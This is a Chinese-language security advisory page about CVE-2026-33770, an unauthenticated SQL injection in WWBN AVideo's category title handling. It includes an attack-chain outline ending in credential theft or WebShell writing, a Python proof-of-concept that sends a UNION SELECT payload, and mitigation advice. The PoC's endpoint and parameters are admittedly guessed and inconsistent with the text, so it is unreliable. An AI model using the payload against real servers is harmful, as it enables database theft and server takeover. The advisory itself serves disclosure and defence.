IPBUF安全漏洞报告
English
CVE-2026-33770 CVSS 9.8 严重

CVE-2026-33770 WWBN AVideo SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33770
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SQL注入WWBN AVideoCVE-2026-33770严重漏洞RCE网络安全

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中,`objects/category.php`文件的`fixCleanTitle()`方法存在严重的SQL注入漏洞。由于未使用预处理语句,攻击者可以在创建或重命名分类时,通过构造恶意的标题值直接注入任意SQL语句。该漏洞利用无需用户交互,可能导致敏感数据泄露、数据篡改或服务器被完全控制,风险极高。

技术细节

该漏洞的根本原因在于`objects/category.php`文件中`fixCleanTitle()`静态方法的不安全编码实践。在处理分类标题时,开发者直接将用户可控的变量`$clean_title`和`$id`通过字符串拼接的方式嵌入到SQL SELECT查询语句中,完全绕过了PDO或其他数据库抽象层提供的预处理机制。这种直接的字符串插值使得应用程序无法区分SQL指令和数据。攻击者可以在发送创建或更新分类的HTTP请求时,将SQL元字符(如单引号、注释符)注入到`title`参数中。由于系统缺乏有效的输入验证和过滤,恶意载荷会随原始查询一同发送至数据库后端执行。鉴于CVSS向量显示无需认证且无用户交互,攻击者可利用此漏洞进行盲注或联合查询攻击,进而读取数据库结构、提取管理员凭证、甚至写入WebShell获取系统权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站运行的是WWBN AVideo平台,且版本在26.0或以下。
STEP 2
漏洞利用
攻击者向`objects/category.php`接口发送HTTP POST请求,在分类标题参数中注入恶意SQL代码(如UNION SELECT)。
STEP 3
SQL执行
由于后端直接拼接SQL语句,数据库接收到恶意指令并执行,返回查询结果或执行数据库写入操作。
STEP 4
数据窃取/提权
攻击者利用SQL注入获取管理员密码哈希、敏感用户数据,或通过写文件获取服务器WebShell权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Code for CVE-2026-33770 # Exploiting SQL Injection in WWBN AVideo category title import requests def exploit_sqli(target_url): # Malicious payload to demonstrate SQL injection # Example: Attempting to extract database version payload = "test' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9, 10-- -" # Endpoint logic based on vulnerability description (category creation/update) endpoint = f"{target_url}/objects/category.json" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "CVE-2026-33770-Scanner" } data = { "title": payload, "clean_title": payload, # Depending on parameter mapping "action": "create" # Or update, depends on specific endpoint logic } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit_sqli(target)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即升级至修复了该漏洞的最新版本。如果无法立即升级,应在WAF(Web应用防火墙)层面部署针对SQL注入攻击的规则,严格过滤`title`参数中的单引号、双引号及注释符号等特殊字符,并限制数据库用户的权限,避免使用高权限账户连接数据库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表